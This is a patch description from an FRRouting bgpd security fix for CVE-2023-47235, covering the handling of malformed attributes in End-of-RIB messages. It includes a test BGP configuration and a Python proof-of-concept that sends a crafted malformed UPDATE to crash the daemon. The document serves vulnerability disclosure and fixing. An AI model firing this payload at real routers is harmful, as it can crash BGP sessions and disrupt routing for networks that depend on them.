Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling
 of malformed attrs
Upstream: yes
References: CVE-2023-47235,bsc#1216896,https://github.com/FRRouting/frr/pull/14716/commits/6814f2e0138a6ea5e1f83bdd9085d9a77999900b

Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:

```
router bgp 65001
 no bgp ebgp-requires-policy
 neighbor 127.0.0.1 remote-as external
 neighbor 127.0.0.1 passive
 neighbor 127.0.0.1 ebgp-multihop
 neighbor 127.0.0.1 disable-connected-check
 neighbor 127.0.0.1 update-source 127.0.0.2
 neighbor 127.0.0.1 timers 3 90
 neighbor 127.0.0.1 timers connect 1
 !
 address-family ipv4 unicast
  neighbor 127.0.0.1 addpath-tx-all-paths
  neighbor 127.0.0.1 default-originate
  neighbor 127.0.0.1 route-map RM_IN in
 exit-address-family
exit
!
route-map RM_IN permit 10
 set as-path prepend 200
exit
```

Send a malformed optional transitive attribute:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"

b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```
